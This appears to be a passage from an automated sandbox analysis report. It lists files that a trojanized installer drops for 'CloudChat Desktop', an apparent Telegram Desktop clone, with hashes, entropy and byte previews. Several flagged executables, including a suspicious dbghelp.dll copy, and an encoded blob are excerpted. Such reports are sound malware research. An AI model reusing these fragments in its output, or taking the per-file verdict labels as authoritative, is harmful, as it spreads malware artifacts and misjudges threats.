SSDEEP:	12288:mMaF2L88CoJtK5uMXw6aZBkkkjZpe9dDYgJIRts58kJe4PiWUxq0ze22:BaFc8YJtK4ySuEd5wMUxq0ze22
MD5:	FAAC6FE24216EC5C0AD8AEF090325124
SHA1:	67F4E9DA9520804A849F60DDF3A298A371CCC7EB
SHA-256:	1D0E255CDE4A9C715AE43BC006881F1C33308BEDBBA51654FEF650342F0D49B1
SHA-512:	F1B1235C6C055FDC0AC69CD5CD9AA9FA1D613FB92904B026C9B6946FAE40099594DC03496A193E5D23187CB9B7DFEAEE69D6BFBE5904985FE2D49565ED6995EA
Malicious:	false
Preview:	........@... .......................................,+5.32>....K.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................;FH................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\emoji\cache_18_4

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, minimum point enabled, calibration: offset 0.000000, slope 0.003786
Category:	dropped
Size (bytes):	622128
Entropy (8bit):	5.272704546112069
Encrypted:	false
SSDEEP:	6144:lg1yFHJw2CkIkw3rVhVBEnksAdyAVFSmW391rgYYbfAp4R1LGJEaGyq27I5:lguHJdCkIkw3rVpgBgYYbfi01LGJ2Qy
MD5:	9D4D2EABD4DD97AF951EA2024D657BC3
SHA1:	4C063E1DAE25F4F77ECBEF93035A85A4697786E4
SHA-256:	C9061F9163F4920CEE33DADCC0D5E59695CF54F48507D89B0E5801C14331737B
SHA-512:	970BC588AE2C907306EBE11746FA5D1ADF546D836F51F668E4F38DDB7271486210AE3E52C8F8C6FBEF70788E65C3069281DFFA958CB732C9071F388833040F42
Malicious:	false
Preview:	........@...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\emoji\cache_24_0

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	1179696
Entropy (8bit):	5.404665097060133
Encrypted:	false
SSDEEP:	12288:lGCCjOgUnxT1fQ21BIn5e9Gcm2K5nj6z8RgRRSOGTIVAnQV9tEStI:sgFFIWqGz8RgRAAV3c
MD5:	05ABA9D3867D1DB8AC46FC1CF4078DB4
SHA1:	EA5CE2ACD37FE41A16BA3E836E57EBF6C8D72DB9
SHA-256:	A98843F11D9D9467D83E2069329A21D3A0BC56E10D18DBB38A1D9D090674F6F6
SHA-512:	225437EC7929877C03408652393EE419636833325E6FD4ADB604ADFC897A85A0A877FB582C45CA52B00E4F346C1BF4F362A0424A93807CF1E03927D77A0D8088
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\emoji\cache_24_1

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	1179696
Entropy (8bit):	5.671810422323202
Encrypted:	false
SSDEEP:	12288:x7Gzp6+Mik32FCGjnYGd2fJJ8iHDpXad+Ffcu+zZ5EbUC0blwzNEUAFJEW:x7ap6+MikQCIYg2nHcJJJwzNEhFJEW
MD5:	D3A1EF65C7A1F2073140744DE34C195E
SHA1:	23277C2598E31B860E31C97AFE78DD99C085008C
SHA-256:	012A8A1D572A34877B0DA0C735107A6B69A3DAE2E9BD986C91198EE047C33E38
SHA-512:	48CCD467264FB3E4D55E1B73A7A8A0A5A70776E2D52799F5BC4ED6727962689FA87C0BD2DF83F5B314F5A7A1DD8284C7D659C73DCD4BE87BA049842609EC171A
Malicious:	false
Preview:	...................................................).......G...................1...D...............................................................).......G...................1...D...............................................................t(-/.%,........... . $%........................................................................t(-/.%-........... . $%........................................................................t(-/.%-........... . $%........................................................................t(-/.%-........... . $%........................................................................t(-/.%-........... . $%........................................................................t(-/.%-........... . $%........................................................................t(-/.%-........... . $%........................................................................t(-/.%-........... . $%.............................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\emoji\cache_24_2

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	1179696
Entropy (8bit):	5.058613338346139
Encrypted:	false
SSDEEP:	12288:U+7AH2CwEq+HjCRYWFzCi2oYcpEL3btbbf/eAK9BMx:U+AvXq+SzRlPELrtbbf/eACW
MD5:	8F56B029E56B81B7E8BB48F55CDBCBD8
SHA1:	76DA8A2AD5DB458D1B9A57AEBA7B6D749A6FAAC7
SHA-256:	9211B264D9F1545DCECF65BDE84EB8637B227DB49F63552A4870AB76769E54BF
SHA-512:	78AF418B6D397932B271F5B879FAF52D05CABB42D1452107F7318B2073D66D975E61B76766B664BBEAE5653040804646FCBF32CBC90198D7CE3499E522C54260
Malicious:	false
Preview:	....................................'6HY....................5l..D....AMo.............................................................&8Y......................8..%G...!o..............................................................)Y..........................(....o...............................................................Y...............................o.......................................................................w.......................2...............D...b...............................................%...o......................./...t...........9...\............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\emoji\cache_24_3

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	1179696
Entropy (8bit):	5.7810492275914545
Encrypted:	false
SSDEEP:	12288:dtu+b3JMgekwlCDxyZr3E2MBSWbuzWVXjoLcSNHiCopEUUTBSgW84JmmYJJLomit:dpJ1xyZrZKDXqNHipNFTmhop
MD5:	4F7DB85890593B7AAA93760BEFC0C3DD
SHA1:	8834E528694A9A947FF2F1F2E86F590C27CCE6A0
SHA-256:	7E145FBE93B4A383C209A836EE4EE39AFE620C0FCE9C0E420A0E8697FE89FA0B
SHA-512:	3D5E9DA2B706C3358297EDC041D3645181BA60CD490FBEB742653F106119EF9EABF7D6F88A408B79EEA5000DC75FC3C0DFAF646C00D6F5685E9301AD96366CE8
Malicious:	false
Preview:	................................................................#!).77E.&$-.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\emoji\cache_24_4

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	1105968
Entropy (8bit):	5.211345517980706
Encrypted:	false
SSDEEP:	12288:jchorPx1Y+s3BoR22rTkSvBtck4pt+LmXlRC/pMYdgQX7SpzUZJrw5kEEdQbg4EL:ogY+ehLR2MYdipzUZpmkExziP
MD5:	4A686716A78DD83C9847403D7D623C14
SHA1:	A692CDC4D5005B3F56A3089705755062799EE635
SHA-256:	1F81F754BD6436245F869B3843E721D0A06E93ACE3566C1B8C7B97FFC74E1802
SHA-512:	642D65122B2636A63494FBB593F43AFE28CCB0F293435A8AF787EA5D66499ABB1D56CA730676C667256B61B5E6506C466C06D6457B509A6738A12FC50D490050
Malicious:	false
Preview:	............h...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\settings0

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	640
Entropy (8bit):	7.621723255116319
Encrypted:	false
SSDEEP:	12:S30UN6AZxsNrGQTVAmMoWSFZj3gzZ11vtTPnRR7XyZkXSlBcpeoofxD:S30Y6SxsoQTVqAFZj6L/TPv7XZCr4TKD
MD5:	502B3F8EBB0943E198AC76A6CB84F8C9
SHA1:	FF0B6F232BFD5E44B419E24B9A152143C1EF8FEF
SHA-256:	3D8233DB2D00533DA3BDDC5E7085ABA647072C58932E66B81E56C300864286AE
SHA-512:	447929D7990C84E9FA257B6019C2BF86085C7209142313BD7089D12F4ED9C2EF8473C46DDD25DA96FB3EA4D39F395DEF49000AE98B3DAA19EC1433BD8A46E144
Malicious:	false
Preview:	TDF$(...... .0.#...,..N.....:,...\|8....HC!.P...@.......7P.m.d..E..6"Uxf.\\.f..+:..^..#m-.J.b.J.0...H.dI.kz...'@r:.......Y...D...(v...8..3!...O..Gb.L.d..A.E........[..p.\|d/s.?..Y.q2iu......j.R.<..)..h.%.qS.r#r."._..u...3Y.... ......?..%....?.y.Y..d...\|...A.w_.].Ls...~.{S]..!...#.4...z.......'..b...)MBr,.E}0..<.x?..S...=...*.....x.T.M...%...P.-.N..9.......R.TuJ.O.....'N.......Gxo%(.Y.s........z....d...d...DQ&.z............m...s...o"...f......K.1..v.......3..Z.y1..P..!>..(P.9.-../S.6q.K.....E.2I.._2O......5).Bi..6I.X..p.2h.}F.b]....$....SX.\.0....i+.g..=q..b../9C.....p. ..\.....F.n.g.....D...-

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\settings1

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	modified
Size (bytes):	640
Entropy (8bit):	7.698134122842028
Encrypted:	false
SSDEEP:	12:S3E3m98aDk+9fdWvj8zUDDOM2cVMKHWwc+H+T0Tepac/k2:S3Eja1Zd2jPCoMPX5TYdgk2
MD5:	DFAF7FC1A786E829B41DC5FDDF73186D
SHA1:	7F0DF98F39F7B12A3964527355DAEE39A17B339A
SHA-256:	7DA7C22ED9ADF3F21433078524F5039D4D0F3CBF00F4FF8B8EB2FE6FBDA590AC
SHA-512:	8AB170C1950B6D5CAFFF76C9E1C3E5317B18218480D899DC9CBBFF44D84CC6F7116D0C671864A42953F95EAAAE22C32EBFFA80F3A6F1A30F4D97161969095BDB
Malicious:	false
Preview:	TDF$(...... .0.#...,..N.....:,...\|8....HC!.P...@..s.H. ..o........l....eqE..............Y6...jI.]...#+.:#(.....L.m...3.6I...4..P?a...m.tW.2..Z.G...z..L....(..+.]+..%ff._..`^.....?3..!...*.5.V...N..2...B......k.-.=.M}d.K.p .. ....\|R..?l78......^-3...EP6.:A].J]p.j...S^..u'...:{.F;.t.....yn..MUC..U){z.g.#. .A..../..].[..;nxr.+..i.\..S.5....!....q?...R.y...u,y.e>.(......".].&.9T)\|.\...DH..\|..:.....N..5=D>K.K(..l.=y...:...)>..'Vz.#.N...1z....z.JV4.$...m.mXdTjx......~.r...X...V(..p)...c....[Hp.g....b^...r-{.u9q....Qvky>l...+.M$>..B..B..u=g.....9^..d...(.`...]Dnd.....1S......4..ua,.i...4.U.}......>..e./....c.]7

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\shortcuts-custom.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	404
Entropy (8bit):	4.447334128448978
Encrypted:	false
SSDEEP:	6:jLVuHBhuOJILF7jgbAKnUMJ9Kf5Jdl6W6a/yEEOKwM5/yEEvsBwUCv:jLIjBJm792UICP0OG0kmv
MD5:	874B930B4C2FDDC8043F59113C044A14
SHA1:	75B14A96FE1194F27913A096E484283B172B1749
SHA-256:	F4F666F4B831E84710983B0E9E905E87342B669F61109FD693688D89C12309D8
SHA-512:	F4B0337FBA5C5F4D7E7A02AA5D4538334EDD38F5DF179E4F1701FA2F1C4D3D856A074FA55EA724C4E2A6C5A1AC1DBFC7E9966C814475C7CD2C65CD44FCA14621
Malicious:	false
Preview:	// This is a list of your own shortcuts for Telegram Desktop..// You can see full list of commands in the 'shortcuts-default.json' file..// Place a null value instead of a command string to switch the shortcut off....[.. // {.. // "command": "close_telegram",.. // "keys": "ctrl+f4".. // },.. // {.. // "command": "quit_telegram",.. // "keys": "ctrl+q".. // }..]..

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\shortcuts-default.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2051
Entropy (8bit):	4.018620383913521
Encrypted:	false
SSDEEP:	48:g8MJBlB/rrfHEap3CZX2rNGREtyqFAfO6W:5M0brW
MD5:	907430281DA28EA63F871E14F9AA72F9
SHA1:	C6E3A8FB57A2F4E1ECAB001FEB7251DA72A691C2
SHA-256:	8D65ACF93FDCF9C5A9B1F8DE41C7BDA4A009941A537FF082CFF33BCD02E16F39
SHA-512:	F7BB22761776DACDAFB5D29EB0DC3C7493E1B9DB5FF5F11CFA38DFB185FD3B1AD3C5BC368E9D75999BA7DB0313D93D18655CA57A2F4167CF2685E56ABD3FDB80
Malicious:	false
Preview:	.// This is a list of default shortcuts for Telegram Desktop.// Please don't modify it, its content is not used in any way.// You can place your own shortcuts in the 'shortcuts-custom.json' file..[. {. "version": "2025000". },. {. "command": "media_play",. "keys": "media play". },. {. "command": "media_stop",. "keys": "media stop". },. {. "command": "media_previous",. "keys": "media previous". },. {. "command": "media_next",. "keys": "media next". },. {. "command": "media_pause",. "keys": "media pause". },. {. "command": "media_playpause",. "keys": "toggle media play/pause". },. {. "command": "search",. "keys": "search". },. {. "command": "search",. "keys": "find". },. {. "command": "self_chat",. "keys": "ctrl+0". },. {. "command": "search",. "keys": "ctrl+f". },. {.

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\usertag

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:OFls:OF2
MD5:	1F02BA83568EBFEA01717E7AB57DA73C
SHA1:	4FA824B735E19712258DFA85FFF3FFC48A75F0D1
SHA-256:	C27DC23EF8F4BF4830A6740433B4F68FF71BBEAA8B0E43A91CA2DB6EA3A9970E
SHA-512:	8401219AE73224C012E6DF40A05615C353415175E739397971408964CA87DE92C62ACDC1FAC663B972CE2661EB378785FC96C47C986A3A30BDCD6A77D960740D
Malicious:	false
Preview:	.b...I

C:\Users\user\AppData\Roaming\CloudChat Desktop\dbghelp.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	268800
Entropy (8bit):	4.279174949675775
Encrypted:	false
SSDEEP:	1536:9XrISrrdMQzxhbhv1GUigOwevX8RARZQSgyYSzuwJsWvv9cd1PvoqOEuww42XY:RhrdFJ9GUzivXQyYQE1Pv1xuwX2XY
MD5:	27A2AAF77E429854C9916DAE27AA6DF8
SHA1:	7527B592966660E62B1B6F53D935A2FE13C36521
SHA-256:	92F529B4587430822697C7E9B0732693EA2F57FB0B898AEAACBD40F6D141121E
SHA-512:	1C0498397028DFD314557633F501309BD40B6C71647B0C03E587957FEB618C67F65C82EC9B70096D04136D6CD6DDCE637CF7D1A91D2F4463C082544F13790ED2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...((.f...........!...%.....................................................p............@..........................................@.......................P......................................X...@...............t............................text............................... ..`.rdata..Fs.......t..................@..@.data........ ......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\is-7GS9C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	268800
Entropy (8bit):	4.279174949675775
Encrypted:	false
SSDEEP:	1536:9XrISrrdMQzxhbhv1GUigOwevX8RARZQSgyYSzuwJsWvv9cd1PvoqOEuww42XY:RhrdFJ9GUzivXQyYQE1Pv1xuwX2XY
MD5:	27A2AAF77E429854C9916DAE27AA6DF8
SHA1:	7527B592966660E62B1B6F53D935A2FE13C36521
SHA-256:	92F529B4587430822697C7E9B0732693EA2F57FB0B898AEAACBD40F6D141121E
SHA-512:	1C0498397028DFD314557633F501309BD40B6C71647B0C03E587957FEB618C67F65C82EC9B70096D04136D6CD6DDCE637CF7D1A91D2F4463C082544F13790ED2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...((.f...........!...%.....................................................p............@..........................................@.......................P......................................X...@...............t............................text............................... ..`.rdata..Fs.......t..................@..@.data........ ......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\is-8PQGO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	data
Category:	dropped
Size (bytes):	824832
Entropy (8bit):	7.107047640319829
Encrypted:	false
SSDEEP:	24576:E/1nImhhJ4NLmOx4SQKEsZT/XoXWENW+Zr:E9BA2foIWr+Zr
MD5:	2F2A4237CE177AD48BC8A143660E6E79
SHA1:	89991B12CC46B750F1CFC7FD6D39CCB0E61C1250
SHA-256:	A2A024A888CE2F377D6BC7749C97234EA7A9A6858DE27F033CF56D679043ACF0
SHA-512:	C6EA475C735DD3FE12055E745767E2469B1990701C59A4FE420C4DD73A8E3FE4B5B927238048CB7D0DCF349603959C1848906C16284C3BFC26197601B8CBE8AA
Malicious:	false
Preview:	>..chovevflo..ta.koverfl/wstackoverflowstackoverflowstackove.floyl.oc.f.D.g .V'...K.......W......V..F...S..C/ %E....Y~ykGkoverfl?2st-bho\|O..lowstack.vksmmiws.mckgverfloI.xacKove.jlow3taCkovgrfhowstackkverflowstlckmverflous4.ck.vebflowctaskoverf\|owstackover..cw$tack.ze.clowstackoverflowsta.gozerflowstackoverflowstackoverflowstackoverflowstackovErfdowstackovernLow;tackoverfloY....kov!.jloWsta.govgrflowstackoverFlo.]....ove.clow.xacmove.jlowstackoverf,ow3Z.....erjlows.mckmver.`owstackoverfl/ws6ackoverflowstackO.irflow;taciose..ko..qabkov>qfjOBut1pjoverflowstackoverflowstackoverflowstackovvBdlCwst`ck~tIUF..k.~wh@{tb..lo}u.A.jow?xa{7\|tv..ko\|W.`F.u[.acamu..fleuw..cket`..lo}qze..ovophi..stkIkov{p..owy^.a..vexLrm..taiAqt..fle]mv..ko\|OaVoo.staakogf.<lolyvgM.iZ.Z.lo}q..ckep..fle..taiG0^.rffm..taim..erl..ws~M$C.vexd..ws~g..ovo..lo}_[I.ko\|g..lo}u..cke..rffC`[.acam..rffi..tai..vexLzE`Ytach_ue.flowstaC.S5.Z.lo}q..cke..rff7WZ!4.1G.erln..stk..ovo*FE:"..I.ko\|g..lo}..aca7VL'3.5_.taii..erl..ws~9CB:#.(N.o

C:\Users\user\AppData\Roaming\CloudChat Desktop\is-BG1K1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3416125
Entropy (8bit):	6.535532708565387
Encrypted:	false
SSDEEP:	49152:idJYVM+9JtzZWnoS2VC23aun8+f5KuG2OY9IG9ivyv2cLx1RQD333K6C:UJYVM+LtVt3P/KuG2ONG9iqLRQD3338
MD5:	D38311FE553BFA05CF287D5B2FD330B3
SHA1:	28FC06649BBBB58AABBA82EB37B55ABCBE51D066
SHA-256:	1765AAA88FA3D116A2D35D5D8C53CC439AE26CEDA4C169186F6CB46E932CDD1A
SHA-512:	9E612003BC0474375631D729EE565EF6ABA489A9C14FC9EB982CBFF350131D5226377ADA02334E09A7EE65725EE14829D43FB60CD72475AE47FE2E58A4079DB0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@...........................4...........@......@...................P,.n.....,.j:...P0.,<....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...,<...P0..>..../.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Roaming\CloudChat Desktop\is-CGK3C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	51122176
Entropy (8bit):	7.272281372538513
Encrypted:	false
SSDEEP:	786432:c44MGRJO/7bVvJ4mGZm8C6cnhUzSrgUcThFoov:c44VRJO/7bVvJdGZE6cnhU
MD5:	F6D1635745FAE66AC9AC4D3DC5E9C604
SHA1:	B4050BC434F85A46115962966373E0B185E10A55
SHA-256:	7DA1D96759BF9FD3834AE222C6824E001ED4B1A67E0FD38857CDA59AB9D4E8C1
SHA-512:	B02CCDC7EDF4D0155B1F1CDA19BF1447FD71AAC82D844A10696E8D7FF96E2C4367335B4C914B4B34931D96F62270218FD224BD1B7A08FA0BD4218A9715E6F241
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................@...........!..L.!This program cannot be run in DOS mode....$.......Vj..............wm..-...wm..............@c..<...@c......@c..:.......#....b.......b.......b..=...wm......wm......wm......wm..........p....b.......b.......b$.......L......b......Rich............PE..L...Xx.b.................`............o...........@..........................@?...........@.............................l...,...,....P'.`.....................)......@..T....................A......(A..@...............L............................text....D.......D.................. ..`.rodata......`.......H.............. ..`.rdata....J.......J..d..............@..@.data.....O.. ......................@....qtmetad8.... '.....................@..P_RDATA.......0'.. ..................@..@.rsrc...`....P'......&..............@..@.reloc........)..0..................@..B................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\is-TSCLB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	119808
Entropy (8bit):	6.277650290536438
Encrypted:	false
SSDEEP:	3072:8tM3I4KYxvP9SK1FuSW3DNIP2kwmpyw0pEjw9p12lQp:8tcIZYxvlS0UViwPfwQp
MD5:	21CEBF74D4E96F5BEB7CF6492D997314
SHA1:	51D787612EB720BC51987203883E221F7B8DDFF6
SHA-256:	221E351B15B1D408C2382685B9A066C7D0234D6C3E5E6ED7FD972A60743634AC
SHA-512:	834FCFED9475242135F9948AED49E080B6B689B1B38877C4191C510D2C023EE13F63FB77602A301D463CB5AF44073A156E3A24DF8DF542235FE66F5F3523B2C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......']..c<..c<..c<...Z..i<...Z...<..1T..r<..1T..r<..1T..D<...Z..w<...Z..b<...Z..n<..c<...<...U..b<...UF.b<..c<..b<...U..b<..Richc<..................PE..L....b.b.............................u.......@....@.......................................@.............................................................................T...............................@............@...............................text....-.......................... ..`.rdata...{...@...\|...2..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\log.txt

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29692
Entropy (8bit):	5.018509754170244
Encrypted:	false
SSDEEP:	96:oRtA5QJ/vtI/A7/uv/ul2MjNZXZpVg3eESlnx5V09bhUYzY1mmhaY1G0BaBRlDqK:CplIA+s2MpcEhM0OAXEVpIUev7I6s
MD5:	8768067A1089F37D4BD5CACEBF9B244E
SHA1:	0CCDB9E3F8F0475F0DF9FCB355AF50C2F8E575E2
SHA-256:	FB3CB83E0CBC507422B794E320D0E2C2F662678468CC17465EA4094F021C1E77
SHA-512:	F392B3DDAB1DDF4997D3D4B0D053450CB82AD87E74E60A47A215F2849DE6E5FE26941AF2F03111A53B2D38ED8C7B2856803C57FE9AE8C1FF6451ED0D23E86CBE
Malicious:	false
Preview:	[2024.09.30 08:20:25] Launched version: 2025000, install beta: [FALSE], alpha: 0, debug mode: [FALSE], test dc: [FALSE]..[2024.09.30 08:20:25] Executable dir: C:/Users/user/AppData/Roaming/CloudChat Desktop/, name: CloudChat.exe..[2024.09.30 08:20:25] Initial working dir: C:/Users/user/AppData/Roaming/CloudChat Desktop/..[2024.09.30 08:20:25] Working dir: C:/Users/user/AppData/Roaming/CloudChat Desktop/..[2024.09.30 08:20:25] Command line: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe..[2024.09.30 08:20:24] Executable path before check: C:/Users/user/AppData/Roaming/CloudChat Desktop/CloudChat.exe..[2024.09.30 08:20:25] Logs started..[2024.09.30 08:20:25] Connecting local socket to Global\74327ed9c742c63abdb1ceaea495ddba-{87A94AB0-E370-4cde-98D3-ACC110C5967D}.....[2024.09.30 08:20:25] This is the only instance of Telegram, starting server and app.....[2024.09.30 08:20:25] Moved logging from 'C:/Users/user/AppData/Roaming/CloudChat Desktop/log_start0.txt' to

C:\Users\user\AppData\Roaming\CloudChat Desktop\log_start0.txt

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	889
Entropy (8bit):	5.2932424328471015
Encrypted:	false
SSDEEP:	24:oXBtA5utJ/FBtI/XkB7/XyBv/XyBq1fs2MrXrBLddBnZphWsBHGP3yln:oRtA5QJ/vtI/A7/uv/ul2MjNZXnZphWk
MD5:	E44E509386A49A6B87D869606F18D7B6
SHA1:	AE615F1F46DBFD761F17C10E3E7E68351141D867
SHA-256:	17BFA148CE22B00F681FD88D6AC9DB1771A8F555EA787DAB905D92E3B7B6CA26
SHA-512:	33B86875D84EFE040F5A2384DD772EF02CEF13C09F3432A10882878A08BA1F20EDC8C1C77100920FF0F4D7FD27012A7F32145A9C4D9D04B2E3526E852146DA3E
Malicious:	false
Preview:	[2024.09.30 08:20:25] Launched version: 2025000, install beta: [FALSE], alpha: 0, debug mode: [FALSE], test dc: [FALSE]..[2024.09.30 08:20:25] Executable dir: C:/Users/user/AppData/Roaming/CloudChat Desktop/, name: CloudChat.exe..[2024.09.30 08:20:25] Initial working dir: C:/Users/user/AppData/Roaming/CloudChat Desktop/..[2024.09.30 08:20:25] Working dir: C:/Users/user/AppData/Roaming/CloudChat Desktop/..[2024.09.30 08:20:25] Command line: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe..[2024.09.30 08:20:24] Executable path before check: C:/Users/user/AppData/Roaming/CloudChat Desktop/CloudChat.exe..[2024.09.30 08:20:25] Logs started..[2024.09.30 08:20:25] Connecting local socket to Global\74327ed9c742c63abdb1ceaea495ddba-{87A94AB0-E370-4cde-98D3-ACC110C5967D}.....[2024.09.30 08:20:25] This is the only instance of Telegram, starting server and app.....

C:\Users\user\AppData\Roaming\CloudChat Desktop\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	InnoSetup Log CloudChat Desktop {53F49750-6666-4FBF-9CA8-7A333C87D1ED}, version 0x418, 5773 bytes, 632922\37\user\37, C:\Users\user\AppData\Roaming\CloudChat
Category:	dropped
Size (bytes):	5773
Entropy (8bit):	3.504801030642947
Encrypted:	false
SSDEEP:	48:5wmCCynvzWSxccHVn6zWSxccHVnACylCypCyNsCyNCy9hXCy9hTh7xeUhxpb:GlCu5CmCOCgsCWCmhXCmhTh7Hhxh
MD5:	7C26949A6A767EF01E7B74A40780DCF9
SHA1:	71B5701F67E617C1D134E2737C39B4333A6294C9
SHA-256:	B5EEF374ED49A4483DA75E3152B1242984C110FD0A6844FCEA6A63BB2DF66300
SHA-512:	BBF7233C2114479F8DE1ECDD3688BC6C8C0363E344F7B69E0A20BC60942BB80A0C2A510D59149E8A49461A6A1E412E860C3A3AA9BD8172C7C3507DBD79C8B608
Malicious:	false
